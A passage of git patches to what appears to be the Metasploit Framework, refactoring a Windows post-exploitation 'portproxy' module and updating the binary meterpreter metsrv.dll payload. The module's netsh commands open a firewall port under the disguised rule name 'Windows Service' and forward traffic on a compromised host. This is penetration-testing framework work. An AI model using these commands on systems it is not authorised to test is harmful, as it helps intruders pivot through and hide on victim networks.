- if ipv6_installed() + if ipv6_installed print_status("IPv6 is already installed.") return true elsif not datastore['IPV6_XP'] From 05863cb1cc2093dcbcb43126d2da8a9536abb16c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:17:05 -0500 Subject: [PATCH 411/454] Delete vague exception handling only done on one place --- modules/post/windows/manage/portproxy.rb | 24 ++++++++++-------------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 765d0c2c44977..7930e1ac4c290 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -112,21 +112,17 @@ def check_ipv6 def fw_enable_ports print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...") - begin - if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ - cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"") - else - cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"") - end - output = cmd_exec("netsh","firewall show state") + if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ + cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"") + else + cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"") + end + output = cmd_exec("netsh","firewall show state") - if output =~ /^#{datastore['LOCAL_PORT']} / - print_good("Port opened in Windows Firewall.") - else - print_error("There was an error enabling the port.") - end - rescue ::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") + if output =~ /^#{datastore['LOCAL_PORT']} / + print_good("Port opened in Windows Firewall.") + else + print_error("There was an error enabling the port.") end end end \ No newline at end of file From 43badfaa1c6e41fbcc72b102761d3e5f35d45cf3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:20:11 -0500 Subject: [PATCH 412/454] Move the check_ipv6 call to the run metod --- modules/post/windows/manage/portproxy.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 7930e1ac4c290..faea0592df220 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -41,6 +41,12 @@ def run return end + # Due to a bug in Windows XP you need to install IPv6 + # http://support.microsoft.com/kb/555744/en-us + if sysinfo["OS"] =~ /XP/ + return unless check_ipv6 + end + return unless enable_portproxy fw_enable_ports @@ -53,12 +59,6 @@ def enable_portproxy 'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT'] ) - # Due to a bug in Windows XP you need to install IPv6 - # http://support.microsoft.com/kb/555744/en-us - if sysinfo["OS"] =~ /XP/ - return false if not check_ipv6 - end - print_status("Setting PortProxy ...") netsh_args = "interface portproxy " netsh_args << "add #{datastore['TYPE']} " From f47771126854a8a359debec9382c6cda634cb633 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:22:50 -0500 Subject: [PATCH 413/454] Provide more information about installing IPv6 --- modules/post/windows/manage/portproxy.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index faea0592df220..78faf4203f056 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -97,9 +97,10 @@ def check_ipv6 return true elsif not datastore['IPV6_XP'] print_error("IPv6 is not installed. You need IPv6 to use portproxy.") + print_status("IPv6 can be installed with \"netsh interface ipv6 install\"") return false else - print_status("Installing IPv6 ...") + print_status("Installing IPv6... can take a little long") cmd_exec("netsh","interface ipv6 install",120) if not ipv6_installed print_error("IPv6 was not successfully installed. Run it again.") From 9f04fa6ab4fb92277c5a47f112c121bd98cdfa0b Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 28 Aug 2013 21:13:58 -0500 Subject: [PATCH 414/454] Add metsrv.dll updates for proxy support See #1033, #2014, and meterpreter/#12 --- data/meterpreter/metsrv.dll | Bin 751104 -> 752128 bytes data/meterpreter/metsrv.x64.dll | Bin 951296 -> 951808 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.dll index d35c3ba176f93cac7c0d2566db4826e2f7f9712a..2c0bd62c7f2498f6e1e7bc0fc0aaca4902d08c33 100755 GIT binary patch delta 151101 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 